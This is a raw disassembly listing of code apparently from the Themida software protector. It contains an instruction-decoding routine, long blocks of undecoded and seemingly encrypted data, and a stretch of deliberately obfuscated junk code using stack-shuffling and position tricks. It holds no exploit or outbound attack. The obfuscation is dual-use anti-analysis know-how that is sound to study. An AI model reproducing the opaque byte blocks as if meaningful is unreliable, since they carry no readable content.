		mov	byte ptr [ebp-3], 0FEh
		jmp	loc_5D354C
; ---------------------------------------------------------------------------


loc_5D35C2:				; CODE XREF: Themida_:005D35AFj
		and	byte ptr [ebp-3], 0
		mov	byte ptr [ebp-4], 4


loc_5D35CA:				; CODE XREF: Themida_:005D3597j
		cmp	al, 67h
		jnz	loc_5D354C
		cmp	byte ptr [ebp-6], 0
		jnz	loc_5D354C
		xor	byte ptr [ebp-2], 1
		mov	byte ptr [ebp-6], 1
		jmp	loc_5D354C
; ---------------------------------------------------------------------------


loc_5D35E9:				; CODE XREF: Themida_:005D358Fj
		mov	ebx, [ebp+14h]
		mov	cl, dl
		dec	cl
		cmp	al, 0Fh
		mov	[ebx], cl
		jnz	loc_5D3615
		movzx	ecx, dl
		inc	dl
		mov	al, [edi+ecx]
		movzx	edi, al
		shr	edi, 1
		mov	[esi+ecx], al
		add	edi, 80h
		jmp	loc_5D361A
; ---------------------------------------------------------------------------


loc_5D3615:				; CODE XREF: Themida_:005D35F4j
		movzx	edi, al
		shr	edi, 1


loc_5D361A:				; CODE XREF: Themida_:005D3610j
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 61A9BF1h
		lea	ebp, [ebp+61A98AFh]
		add	ebp, edi
		mov	bl, [ebp+0]
		pop	ebp
		mov	cl, al
		and	cl, 1
		mov	[ebp-7], cl
		shl	cl, 2
		shr	bl, cl
		test	bl, 8
		mov	[ebp-6], bl
		jz	loc_5D379C
		mov	ebx, [ebp+0Ch]
		mov	byte ptr [ebp+0Bh], 1
		movzx	ecx, dl
		inc	dl
		mov	bl, [ebx+ecx]
		mov	[ebp+17h], dl
		mov	dl, bl
		mov	[esi+ecx], bl
		and	dl, 7
		movzx	ecx, bl
		cmp	dl, 4
		setz	byte ptr [ebp-5]
		shr	ecx, 6
		sub	ecx, 0
		jz	loc_5D36E0
		dec	ecx
		jz	loc_5D36C3
		dec	ecx
		jnz	loc_5D3733
		cmp	byte ptr [ebp-2], 0
		jnz	loc_5D372F
		cmp	byte ptr [ebp-5], 0
		jz	loc_5D36A2
		mov	byte ptr [ebp+0Bh], 2


loc_5D36A2:				; CODE XREF: Themida_:005D3698j
		add	byte ptr [ebp+0Bh], 4
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 61A9C7Dh
		mov	dword ptr [ebp+61A99CFh], 1
		pop	ebp
		jmp	loc_5D3733
; ---------------------------------------------------------------------------


loc_5D36C3:				; CODE XREF: Themida_:005D367Dj
		cmp	byte ptr [ebp-2], 0
		jnz	loc_5D370D
		cmp	byte ptr [ebp-5], 0
		jz	loc_5D370D
		mov	byte ptr [ebp+0Bh], 2
		jmp	loc_5D370D
; ---------------------------------------------------------------------------


loc_5D36E0:				; CODE XREF: Themida_:005D3676j
		cmp	byte ptr [ebp-2], 0
		jnz	loc_5D3726
		cmp	byte ptr [ebp-5], 0
		jz	loc_5D3715
		movzx	ecx, byte ptr [ebp+17h]
		mov	edx, [ebp+0Ch]
		mov	cl, [edx+ecx]
		and	cl, 7
		cmp	cl, 5
		jnz	loc_5D370D
		mov	[ebp+0Bh], cl


loc_5D370D:				; CODE XREF: Themida_:005D36C7j
					; Themida_:005D36D1j ...
		inc	byte ptr [ebp+0Bh]
		jmp	loc_5D3733
; ---------------------------------------------------------------------------


loc_5D3715:				; CODE XREF: Themida_:005D36EEj
		cmp	dl, 5
		jnz	loc_5D3733
		mov	[ebp+0Bh], dl
		jmp	loc_5D3733
; ---------------------------------------------------------------------------


loc_5D3726:				; CODE XREF: Themida_:005D36E4j
		cmp	dl, 6
		jnz	loc_5D3733


loc_5D372F:				; CODE XREF: Themida_:005D368Ej
		mov	byte ptr [ebp+0Bh], 3


loc_5D3733:				; CODE XREF: Themida_:005D3684j
					; Themida_:005D36BEj ...
		dec	byte ptr [ebp+0Bh]
		jz	loc_5D3761
		movzx	ecx, byte ptr [ebp+0Bh]
		mov	[ebp+8], ecx


loc_5D3743:				; CODE XREF: Themida_:005D3759j
		movzx	esi, byte ptr [ebp+17h]
		mov	ecx, [ebp+0Ch]
		mov	edx, [ebp+10h]
		inc	byte ptr [ebp+17h]
		dec	dword ptr [ebp+8]
		mov	cl, [ecx+esi]
		mov	[edx+esi], cl
		jnz	loc_5D3743
		mov	esi, edx


loc_5D3761:				; CODE XREF: Themida_:005D3736j
		and	al, 0FEh
		cmp	al, 0F6h
		jnz	loc_5D3796
		cmp	edi, 7Fh
		ja	loc_5D3796
		test	bl, 38h
		jnz	loc_5D3796
		cmp	byte ptr [ebp-7], 0
		jz	loc_5D3790
		movzx	eax, byte ptr [ebp-4]
		jmp	loc_5D3793
; ---------------------------------------------------------------------------


loc_5D3790:				; CODE XREF: Themida_:005D3781j
		push	1
		pop	eax


loc_5D3793:				; CODE XREF: Themida_:005D378Bj
		mov	[ebp-1], al


loc_5D3796:				; CODE XREF: Themida_:005D3765j
					; Themida_:005D376Ej ...
		mov	dl, [ebp+17h]
		mov	bl, [ebp-6]


loc_5D379C:				; CODE XREF: Themida_:005D3646j
		mov	al, bl
		and	eax, 7
		sub	eax, 4
		jz	loc_5D37C7
		dec	eax
		dec	eax
		jz	loc_5D37BD
		and	bl, 7
		add	[ebp-1], bl
		jmp	loc_5D37CF
; ---------------------------------------------------------------------------


loc_5D37BD:				; CODE XREF: Themida_:005D37ACj
		mov	al, [ebp-3]
		add	al, 6
		jmp	loc_5D37CC
; ---------------------------------------------------------------------------


loc_5D37C7:				; CODE XREF: Themida_:005D37A4j
		mov	al, [ebp-3]
		add	al, 4


loc_5D37CC:				; CODE XREF: Themida_:005D37C2j
		add	[ebp-1], al


loc_5D37CF:				; CODE XREF: Themida_:005D37B8j
		mov	al, [ebp-1]
		dec	byte ptr [ebp-1]
		test	al, al
		jz	loc_5D37F7
		movzx	ecx, byte ptr [ebp-1]
		inc	ecx


loc_5D37E2:				; CODE XREF: Themida_:005D37F1j
		mov	edi, [ebp+0Ch]
		movzx	eax, dl
		inc	dl
		dec	ecx
		mov	bl, [edi+eax]
		mov	[esi+eax], bl
		jnz	loc_5D37E2


loc_5D37F7:				; CODE XREF: Themida_:005D37D7j
		pop	edi
		pop	esi
		mov	al, dl
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		dw 858Dh
		dd 61A9A7Ch, 256D8589h,	8D8D0615h, 61A9E9Ch, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 0E1C35545h, 8280D739h
		dd 27218D89h, 0B5030615h, 6152CD5h, 4CD85C7h, 6B8C0615h
		dd 85C70000h, 6151115h,	0
		dd 899D8951h, 5F061508h, 1D45B5FFh, 6A0615h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 190424h, 52420000h, 25FBEAC3h
		dd 8971A5F9h, 1502F18Dh, 0D5858906h, 0FF06152Fh, 1502C995h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1C04h
		dd 0C3554500h, 0AD7C09C9h, 2E454A89h, 0DF8B60DBh, 0CCE98166h
		dd 8D316124h, 6152A45h,	95FF006Ah, 6152E21h, 0BEBC08Bh
		dd 71CB0BFBh, 8A95C9A6h, 8D2960B0h, 1A9F768Dh, 0FE906h
		dd 1E590000h, 8EC0B9Eh,	335417B3h, 88F76D6Dh, 218D8967h
		dd 6A061527h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1C042444h, 41000000h, 0F9EBC351h, 9D1E36B3h,	0BF2A359Ch
		dd 713B56D8h, 2DBDBD89h, 85C70615h, 61504CDh, 7260h, 0C700C880h
		dd 15111585h, 6, 0D59D3100h, 0FF061514h, 1533A9B5h, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1A04h, 0C3574700h
		dd 3EE9A20Fh, 0BF76F119h, 4B119BD5h, 2C995FFh, 6A0615h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
		dd 6C80A1C3h, 27E1958Bh, 6A0615h, 2E2195FFh, 0C08B0615h
		dd 0BCED4FEBh, 5FA95B9h, 64444836h, 66B6BA34h, 222E5AE9h
		dd 6022CD03h, 60B578ABh, 0EBB2EEC4h, 0EC0F404Bh, 0DEB1C8Ch
		dd 0CC9BF650h, 43C8384h, 23CE08C1h, 0DE8FABE5h,	0FF65C21h
		dd 624F0E42h, 0F62FD681h, 0C8FEB068h, 5303682Fh, 0B3F489DFh
		dd 0FE9C3h, 0F32F0000h,	7432h, 2 dup(0)
		dd 0BBDE900h, 98680000h, 0E9061AA1h, 0FFFBA8F0h, 1AA25968h
		dd 0A8E6E906h, 1068FFFBh, 0E9061AA4h, 0FFFBA8DCh, 1AA52B68h
		dd 0A8D2E906h, 0F468FFFBh, 0E9061AA7h, 0FFFBA8C8h, 1AA96668h
		dd 0A8BEE906h, 2468FFFBh, 0E9061AAAh, 0FFFBA8B4h, 0CDBFBEAFh
		dd 5D2F4E42h, 0CFC1BCB2h, 53354844h, 0C9BBC2A8h, 0B0A27C6Ah
		dd 1710FBCDh, 0B89B6666h, 4D38C3C5h, 0CBC86030h, 243EAEEBh
		dd 6877EEA7h, 0C96D62DBh, 4B029BE2h, 0F31F9E3Ch, 125BFAF4h
		dd 1039A724h, 9F86686Ah, 3DC8C7DEh, 0D77E2756h,	0DF3F5E58h
		dd 0AC5DAD3Eh, 57E0C786h, 3EDF3A57h, 86AF5AADh,	0B0FFB906h
		dd 0E8074343h, 237B353h, 0D6CE7F5Bh, 0FBF4A729h, 584EDB82h
		dd 18967C25h, 0D363588Ch, 0EEA6E35Fh, 69526BECh, 64000000h
		dd 0D7D76CC4h, 0AD3EDEBAh, 0D025BF06h, 0D58E04D3h, 0AD5ECDA4h
		dd 0AA23E58Eh, 9C8DE59Dh, 53939CA2h, 981138B3h,	7A03EA9Bh
		dd 2B1F2AE3h, 0CCA24B52h, 29931F72h, 0B52DC9A7h, 0F4E283Bh
		dd 8DA72993h, 226F4FDCh, 72A72993h, 27806FC7h, 0CF6BECAFh
		dd 0CDh, 0C2BBB362h, 3A7D0C9Bh,	543B1912h, 37A701Dh, 0D7BB35Ah
		dd 0A4863724h, 0DF306DD9h, 0B89AAD3Eh, 2AF59CC5h, 311C37FFh
		dd 0D2B8554Ch, 99913CABh, 76138EE4h, 0DA77EE8Fh, 8E9D8AF3h
		dd 3EDEE1B0h, 0B086B3ADh, 0E398E6E0h, 0FBF2AD3Eh, 90770282h
		dd 991774EDh, 35E1DD4Ah, 61B353EEh, 0CD6BD8B8h,	6295717Eh
		dd 3EAD4172h, 79711C0Bh, 0A8CE5D04h, 4A9877BCh,	0F30036FFh
		dd 0BB0D7062h, 0ADA3DAD0h, 0FA07CAFFh, 39D2742Dh, 1E000009h
		dd 9580502Dh, 25F0E09Dh, 8772522Bh, 23EEDE9Fh, 0BD7C4C31h
		dd 3E3F35CFh, 0AFCEC34Eh, 3E3F32DDh, 0B1CCC34Eh, 6C4A47DFh
		dd 0A7243E2Dh, 8688F66Fh, 0CF7D9A4h, 3F6C5C21h,	7C802F8Ch
		dd 0B37B3E06h, 1D6CC4D5h, 0E20A300Eh, 0BBCAB353h, 0A86BBFD8h
		dd 0AE2D6374h, 2588C887h, 0B034D51Fh, 5306E089h, 95A729AEh
		dd 7C0D8919h, 7C6BECCAh, 93h, 0DE9F864Eh, 35482AC7h, 968E3F2Ch
		dd 0C56C1103h, 0E3A38F6Dh, 2621AD3Eh, 0A38A7557h, 0CC64C3DAh
		dd 42906E7Dh, 52B353EEh, 0CD78A527h, 4A039AE3h,	0BA09A724h
		dd 6F8D512Dh, 6009AD41h, 2D5042D3h, 0C3BAB05Bh,	749894Dh
		dd 0E48603FAh, 878h, 3D8FEEDFh,	0AD1F5E52h, 3F91ECE2h
		dd 0A3255854h, 398BF2D8h, 0F20C7Ah, 87800B7Dh, 8EB96F6h
		dd 7D681375h, 1B189000h, 243C7E1Bh, 0D7271EA7h,	1A373724h
		dd 7AAD3EDFh, 6ECA7CFh,	836A1577h, 863C8AFAh, 2AC7DE9Fh
		dd 5BFAF443h, 39AD3EDEh, 23758C2Ah, 0E38AFEF3h,	338D3A8Ah
		dd 0F36747E4h, 0FFB35348h, 7D24594Eh, 98C19ED4h, 0F4898411h
		dd 7FFEE994h, 6DB8E370h, 0D8C35D69h, 0A41B07A2h, 133AAD6Fh
		dd 6C290516h, 2817AD2Dh, 0A73B3901h, 0D7A6A02Dh, 84F9F49Fh
		dd 83661704h, 0E4C663FAh, 10691099h, 55442B6Ah,	0D27B225Bh
		dd 7618029Bh, 0F617AD2Dh, 0F1DCF480h, 56513C8Ch, 0ECA47E27h
		dd 2617AD2Dh, 0D5D0E87Ch, 0EB988BA8h, 0CBCBEB46h, 99B8423Ch
		dd 0C742CFF1h, 0CFF1AAE7h, 0E43FEA42h, 0BDE0F44Fh, 4E27CCACh
		dd 0F2DDA828h, 0B1B8C5A7h, 0DB383108h, 25210E5Dh, 48E54195h
		dd 0BB81841h, 0F5D15EADh, 46D86F59h, 0F1CDD485h, 42D02EA1h
		dd 0B935AD49h, 79346F0h, 4D608h, 1682BA00h, 0E50251EFh
		dd 1D6047F6h, 97A5CD84h, 0B353E8BBh, 9BBAB4A7h,	0F9A729D5h
		dd 0C63D2A50h, 29D5A9E8h, 0F73EEBA7h, 15F0A390h, 0B076AAE6h
		dd 52D175Fh, 0D83F93Fh,	0F48980B3h, 0A887C46Dh,	2AB8E96Eh
		dd 0FEEDFA33h, 63E35100h, 601643D2h, 0F3B7F3D3h, 32E7D878h
		dd 1A1D08B5h, 6EF37D1Ch, 43EA1FD0h, 647774EBh, 6EF3CB8Ah
		dd 0DAA0C9D0h, 3F03FF9h, 842E8A03h, 6047F6D6h, 0C0CD841Dh
		dd 5ACB5C8h, 0AA49F02Dh, 4749341Bh, 68ACD1BCh, 20DF29E8h
		dd 0C1992DE4h, 96000006h, 3DC8C8B5h, 0DDA82855h, 4F3A8AF3h
		dd 0DBA62657h, 0A50484F9h, 86F7DD37h, 0E7967B06h, 46371AE5h
		dd 0A9D4BB46h, 84826F27h, 0A7243AD5h, 8680CEC7h, 0C8C7DE9Fh
		dd 0EB7A083Bh, 48F17805h, 50703F0Bh, 8D69C492h,	9310898h
		dd 0B719644Ah, 0F9C5h, 6EC4EB00h, 6914191Fh, 1433FB82h
		dd 96E7DFE4h, 0EF8E820Fh, 452A6F62h, 0B1883138h, 0C034C2B8h
		dd 9825068Ch, 7805ECADh, 78F148F1h, 67FB79C1h, 346560EDh
		dd 741D4439h, 2309A4BDh, 0E38A435Ah, 0F70B9C8Bh, 61EB7201h
		dd 0DD000000h, 34F69724h, 0B2ABD2BDh, 34084CFBh, 5ED4B57Dh
		dd 0FD34492Bh, 653E10EEh, 2356AD3Eh, 5008D7Ah, 9C93C278h
		dd 2924EFE1h, 42FE4D54h, 6CFAF4F3h, 14B35375h, 3A007D69h
		dd 0AE253CEDh, 6F38B440h, 2A6BEC88h, 74203D39h,	4AA8A729h
		dd 4679614Eh, 581E4B14h, 738h, 0DE7F8A00h, 31000000h, 0E1D6CC4h
		dd 5403CA30h, 68790AB3h, 6522FD8Bh, 0F658BC75h,	0EAFC10F0h
		dd 5A69B2Fh, 0BCB10000h, 4C44CFC1h, 0BAB45F31h,	4E36C1C3h
		dd 0C0B25D2Fh, 7E6CCBBDh, 0FDCFAEA4h, 70601D12h, 0FDCFAEA5h
		dd 62621B12h, 94C1BDAAh, 0A72439h, 6EC43D95h, 3972191Fh
		dd 0AF2BB7F5h, 7201FADAh, 681Eh, 8E841100h, 0AB4460EFh
		dd 0FBB394DBh, 6EC45533h, 3772191Fh, 0AD29B9F3h, 7201FADCh
		dd 481Ch, 977C0F00h, 0BD8F0490h, 3093C2BCh, 5801AD3Eh
		dd 0C4775921h, 23101F6Eh, 3EDE7623h, 205D54ADh,	0E297D089h
		dd 0FA8BA88Ch, 0B4A2413h, 89AD3EDFh, 0AEE199E0h, 188C2A82h
		dd 3EE6E7B1h, 6424C5ADh, 927201EFh, 0FFFFFE8Eh,	1F6EC424h
		dd 0CE5E7219h, 0CFD854E0h, 277201FAh, 263h, 0D9A48699h
		dd 0FF30E3D0h, 0AFD39473h, 0F1DD78BEh, 0F7EE9F8Ch, 0CBD2ABA2h
		dd 7C234B22h, 748C1896h, 28DFF7Eh, 0CD7E6D10h, 0C4154088h
		dd 0A7CFB1h, 0CC8C8013h, 414E2F25h, 9DD52CFAh, 0D65F942Ch
		dd 3EE84BCEh, 720B028Fh, 0FCEB42EBh, 491AB84Fh,	80B6093Bh
		dd 50EF9373h, 7AAFB353h, 1C6146E3h, 81FCE885h, 0F084F2E8h
		dd 6BF777BCh, 0AC1C6153h, 9592EBE1h, 0E980FDE8h, 96C3C330h
		dd 6A72928h, 9A841B53h,	0A72929F7h, 0CD7E75h, 70C78D0Ah
		dd 6AFA74BAh, 73AE63F0h, 4251AD83h, 9F552F42h, 0F33BF201h
		dd 0B90B7258h, 8A1DCCEh, 31BE0DABh, 0A9D1ACA4h,	9804AE88h
		dd 79A0AD3Eh, 0BF0EAA17h, 9D924330h, 6A10C9E0h,	5385DADCh
		dd 564FFAB3h, 0B8C5AC59h, 85D58482h, 0FEF5A729h, 674BE67Fh
		dd 0C3ED8F16h, 0FBF8FB2Fh, 854F0EE8h, 364DA729h, 0E810F59Fh
		dd 0C1CCA585h, 0F07EB4C9h, 997B0A84h, 0C1780500h, 4849F1A8h
		dd 0A192A1F0h, 2977F8A5h, 0BD75A4A7h, 7820522Ch, 0C574AD3Eh
		dd 304D38C3h, 0CCB19C39h, 0A2F14FFCh, 80DDA985h, 50F9B353h
		dd 1F8130E3h, 965B1B16h, 1DD4CDB0h, 97831E54h, 0A729CCF6h
		dd 76F084F2h, 0ED9AE3C7h, 918EF83h, 3BAE8492h, 6BECB46Eh
		dd 4D8Ah, 6CC43C00h, 211D0E1Dh,	0AD3EDE74h, 0B041F920h
		dd 53E230D6h, 4B2B38B3h, 0A729DC0Eh, 0CA93DB8Eh, 0D05909Fh
		dd 705CF970h, 94DD940Dh, 0D7C4C3DEh, 0C43E3F26h, 0A729DB95h
		dd 221C5207h, 0A729DB6Fh, 0E965FD79h, 6BECF7A0h, 9B58h
		dd 9F866A00h, 482AC7DEh, 7E275651h, 6A079ED7h, 4B321683h
		dd 0F7EE7B22h, 4E2C0686h, 0BCAD3EE3h, 6FDCACD1h, 0D86582D1h
		dd 0B8C5A7F2h, 383108B1h, 3E38B981h, 0B3568326h, 0AD58D782h
		dd 9FDED2C7h, 9D972F0h,	1D54B919h, 4DEAE0ABh
		dd 49B5C8C0h, 0A7278B0Ch, 0C498E188h, 0FC12AD90h, 0DDE97DF4h
		dd 7A000002h, 19E4E499h, 917C4C31h, 1BE6E697h, 8F7A4A33h
		dd 51F0E09Dh, 0B2CBC15Bh, 3B4227D2h, 0B2CBBE49h, 3D4027D2h
		dd 0D8D6D34Bh, 0A72437B9h, 86146ADBh, 0CF7D9A4h, 0DE6C5C21h
		dd 12FA9F86h, 0FD30B085h, 650CCFB9h, 4FDC953Ch,	4333625Ch
		dd 0B861AD3Eh, 634AE782h, 241CAA1Ah, 0DF1A3737h, 0CF7AAD3Eh
		dd 9801ECA7h, 21D8D1ACh, 51625158h, 3EDF2875h, 2037A0ADh
		dd 86B00B6Ch, 87C66C9Dh, 5EEBDDA0h, 9A9493E2h, 0B3530AECh
		dd 5E486108h, 0A7290A3Bh, 0D1ADBEADh, 0A7290984h, 9B3E2DCh
		dd 38E1A729h, 7AF43AEFh, 22196EEAh, 3BDD6BECh, 0EF000000h
		dd 4F396CC4h, 0EE8072Eh, 0B353E1F8h, 756685B4h,	29DBDC79h
		dd 0E991B8A7h, 4C44D1BEh, 5AFB0931h, 8EA729DBh,	0F92EEE9Dh
		dd 0B284D7C1h, 682F27Ch, 6BECD181h, 0C175h, 9F864700h
		dd 0C36A13FAh, 601D0F9Ah, 0AF2840D3h, 0ADB4C9C1h, 0A66C4704h
		dd 0B13C630Bh, 9B28C7B6h, 0F87F222h, 0B9B0868Dh, 7C4C311Ch
		dd 3E06F442h, 6561ECADh, 3C336218h, 0C5C1B241h,	0AD3E0598h
		dd 4F385504h, 0FD88082Eh, 0F5F26B12h, 561C6148h, 7F6CBB75h
		dd 53086F7Fh, 6D62F3B3h, 4CFD6A10h, 92E12CDFh, 0AF1336EEh
		dd 0FEBA0787h, 184640AFh, 84AD40D7h, 0C5A756D5h, 472DD8B8h
		dd 0E144E236h, 0D148FA07h, 16B3Dh, 7607EC00h, 0F6876B16h
		dd 7805EB96h, 0FC816D18h, 720B018Ch, 0CB259312h, 493494E9h
		dd 0E0AB1D60h, 493494E9h, 0F5AD1F5Eh, 355FFEF8h, 483DA724h
		dd 0D9A486FAh, 5C210CF7h, 6CC4DE6Ch, 0A300E1Dh,	0CAB353E2h
		dd 791C069Fh, 6FA729DBh, 0B2F773FFh, 466BECF7h,	0A7h, 0DE9F8678h
		dd 0DBDBC8C7h, 0AD3EDEBEh, 196447DEh, 997B1A60h, 0C0790400h
		dd 0E381BDA9h, 0E4CBAD3Eh, 614C3799h, 8A26851Ch, 2721AC3Bh
		dd 0EBA64F56h, 44ED7409h, 0F101FDEEh, 0A5B353DCh, 9A71474h
		dd 0A6512DBAh, 0F2AD4180h, 0BBBBA847h, 0AD3C3D9Eh, 6234BFEh
		dd 0E8E89577h, 0D246371Dh, 0FA07585Eh, 0AD2FD34Eh, 0AA000000h
		dd 29D4B4C9h, 0C14C3C41h, 2BD6B6C7h, 0BF4A3A43h, 61E0B0CDh
		dd 0E29B916Bh, 4B3217E2h, 0E29B8E79h, 4D3017E2h, 0C8A6A37Bh
		dd 0A7243489h, 86249A0Bh, 0AAF7D9A4h, 1E47361Bh, 9994BF77h
		dd 8656E4E4h, 0C251DE9Fh, 800C1A9Bh, 223DF5FCh,	0DF9A087h
		dd 7AC7C970h, 0D3806FBEh, 649BFC06h, 0E6032B3Dh, 595E1408h
		dd 0C0E990B3h, 41433A35h, 0B7AECFB6h, 4C7884CBh, 69F97319h
		dd 0A5275651h, 0BA56CB78h, 8028DDBh, 9118654Dh,	0C0392E8h
		dd 715DF871h, 4DDE950Ch, 0B1B8C5C0h, 0B0443208h, 0D0AD98h
		dd 3A631A15h, 3A8h, 66B40A00h, 0D1D8A586h, 2D344944h, 0CDD4A9A0h
		dd 2F364740h, 0D4CDB0A2h, 332A5339h, 0D6CFAE96h, 8128553Bh
		dd 0E881FCF4h, 0E1895104h, 4C181h, 0BF570000h, 4, 875FF929h
		db 0Ch,	24h, 5Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], eax
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ebp
		push	edx
		mov	edx, 1FB4603h
		and	edx, 55295974h
		add	edx, 4F16029h
		mov	eax, edx
		mov	edx, [esp]
		add	esp, 4
		push	33FDh
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebp
		push	12FBh
		mov	[esp], eax
		pop	dword ptr [ebp+8]
		mov	ebp, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	eax, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_58E30C
; ---------------------------------------------------------------------------
		db 0E6h
		dd 80124FBEh, 17CC5CB7h, 0B8CD1107h, 61AAAF6h, 0E0FFC503h
		dd 457A22F7h, 56ECF749h, 1C720F7Bh, 74F5A66Ch, 373C738Eh
		dd 356A2407h, 237040AEh, 1CB237B4h, 2F1C9247h, 168863CDh
		dd 2B53EBEh, 31E9h, 33E07A00h, 0Ch, 0C51C5700h,	6148434Ah
		dd 0A5ADF936h, 528C88A7h, 0B7FB75h, 0ADF99CBEh,	89937EE5h
		dd 0F4C7009Dh, 6063921Dh, 0DE19h, 11E90000h, 6800000Bh
		dd 61AAD16h, 0FAD239E9h, 0AE3468FFh, 2FE9061Ah,	68FFFAD2h
		dd 61AAF62h, 0FAD225E9h, 0B00A68FFh, 1BE9061Ah,	68FFFAD2h
		dd 61AB0F5h, 0FAD211E9h, 0B1E568FFh, 7E9061Ah, 68FFFAD2h
		dd 61AB289h, 0FAD1FDE9h, 0B47D68FFh, 0F3E9061Ah, 68FFFAD1h
		dd 61AB57Eh, 0FAD1E9E9h, 0C0308EFFh, 0B7BFE35h,	0C838B56Ah
		dd 272F62Dh, 0CE3EBC73h, 883B7027h, 44DBBA2Ah, 8DA273E3h
		dd 49D6BF2Fh, 289B7AEAh, 5E7A9F26h, 8001169Ch, 0DB0BABBCh
		dd 9E1E4003h, 0B2DF16A1h, 57D6DD4Dh, 0BDF6C8E7h, 2327CE3Eh
		dd 5E478A39h, 1526169Ch, 3F2B9B1Eh, 4E0971D2h, 0CD0DDD1Ch
		dd 8AA7B798h, 65CFBB2Bh, 0EBF323D3h, 0BB4C1358h, 0B5899A10h
		dd 97FF7Ch, 0F13B9F41h,	0A41471A2h, 0E3B29D72h,	1A225E77h
		dd 9B7304C3h, 51C142EFh, 0F323D365h, 12C6EAEBh,	44B3ADE7h
		dd 0E93590A6h, 8C1AA992h, 5273E2BBh, 4E68ABA0h,	957E6h
		dd 4CBC3A00h, 87F77AA9h, 54C441EEh, 9E0E72C1h, 5ACA28F7h
		dd 0F4AFDCBBh, 0C06F0676h, 0F926CF3Fh, 0B56A0B7Bh, 0A42FC636h
		dd 5FC60BBAh, 0E4A5169Ch, 57C72458h, 81F1525Fh,	0C2F2C6F4h
		dd 73D1E2FCh, 1D3A1303h, 86ED9C7Eh, 4E6D1D4Bh, 169BAF1Ah
		dd 0AC335481h, 397498D2h, 640676FAh, 0D0336334h, 1693BB8Dh
		dd 3910BF7Ah, 9DBD66B4h, 333Ch,	0C3417200h, 41726353h
		dd 0DF4C6858h, 0A0947659h, 3DB0BABh, 9BF5F040h,	7ABC8D16h
		dd 93F1D2FBh, 0C9F49B16h, 0BD1CFD80h, 0CD839Dh,	78B90000h
		dd 3BDF8BFBh, 8757C724h, 0F2ABEE55h, 41521086h,	0F4766BA9h
		dd 22A19284h, 0C6F84B2h, 8CBCF99Ch, 0C41086F6h,	111EF767h
		dd 627C42B2h, 0C67FEF51h, 1086F683h, 83B1596Ah,	4D1141F5h
		dd 9C01D276h, 2A999B16h, 1693E5E7h, 0FF7EB586h,	0E5D5A08Fh
		dd 0D4DDE111h, 0DEAFE757h, 8E252D5h, 8BAC8F36h,	0FACB108Bh
		dd 0FB6BCFE4h, 7F03301Ah, 5436070Fh, 1AE353D7h,	0B1BE31A5h
		dd 39B83C3Ah, 58000008h, 98876EDEh, 57CCA919h, 0A08F66D6h
		dd 4EE5B020h, 2997CECh,	24941689h, 0ED5DE251h, 29991B08h
		dd 0E454D74Ch, 2D98C611h, 169C5CE4h, 4F360687h,	296DDD62h
		dd 0F575B654h, 0C043F085h, 44F2A958h, 5E71C934h, 5ECE3380h
		dd 0AB5BE1ACh, 0D903DB0Bh, 86F2276Ah, 15F5C610h, 0CC381D3Fh
		dd 92AA61FEh, 3602A149h, 47169BEEh, 0ED9BBE85h,	51621693h
		dd 5D56387Eh, 63296DDDh, 93EDB9E0h, 5C734416h, 0EDCE0FAEh
		dd 0B71693h, 38F17CCDh,	0D6779DBDh, 93000000h, 5F57C724h
		dd 964F052h, 8FA09D99h,	0F6FC2C87h, 77F41086h, 0EBEC6E07h
		dd 117A9B0h, 41F29837h,	7A6452C2h, 4CB8E164h, 0C4DA1086h
		dd 0DC02E57Dh, 74162799h, 744A7A3Eh, 88D1746Ah,	73108613h
		dd 35DDC8A2h, 0B8169CE4h, 0D005D7E7h, 0CB106AEDh, 96BB6A7Dh
		dd 0EC1693B1h, 0EA7FE42Eh, 3E0FB140h, 0AE7CA520h, 2EFF1693h
		dd 0B589313Ch, 0B2A3B985h, 99B7B616h, 6B5A30E1h, 108B24AFh
		dd 50617D4Eh, 0CB808AF2h, 9B040829h, 0F052E1B4h, 4B7EFD80h
		dd 4F65B1BDh, 70BF3h, 0B8288600h, 73E346DDh, 0C0308DA2h
		dd 0A7AFE35h, 0C636B46Bh, 8033782Fh, 2C039202h,	65BA5BCBh
		dd 31FE9707h, 409362D2h, 5D62A71Eh, 8809169Ch, 3AC624B4h
		dd 8B6A45B5h, 0CEA71794h, 57C7246Ah, 65587D5Fh,	288888B3h
		dd 3FBC6D1Dh, 262267DEh, 0F8C91086h, 6D3E7EDFh,	0E8C7DAFCh
		dd 1465A80Dh, 3E021086h, 5D95300Eh, 2016A178h, 81022F0Fh
		dd 4CAF8411h, 0B050DADCh, 93A0BE80h, 70D3C030h,	873B6A00h
		dd 46108067h, 0CF76D759h, 1CB6678Ah, 878FA071h,	0A8A9A1B6h
		dd 432EAA54h, 0DD0C916Ch, 0D9DBB1BAh, 66359h, 60D02E00h
		dd 0AB1B9E95h, 68D855CAh, 0A212968Dh, 6EDE5CD3h, 289B1087h
		dd 64BB5ACAh, 2D029303h, 69B65FCFh, 0C8FB9A0Ah,	421A3F06h
		dd 20E1169Ch, 57C7241Ch, 0B8347D5Fh, 0C5804E48h, 1086F29Ch
		dd 89614E5Fh, 7BBB2B88h, 0A3930366h, 77BF2F8Eh,	0CE248BFEh
		dd 86F2D2F7h, 0A7889910h, 0E3E4CBC2h, 9025F060h, 97A81A2Dh
		dd 0ED348FCDh, 901086FEh, 76FCBBFh, 4B000000h, 19CB5h
		dd 97B6D100h, 501086F2h, 0ED348FB0h, 901086F2h,	0F2D2F7CEh
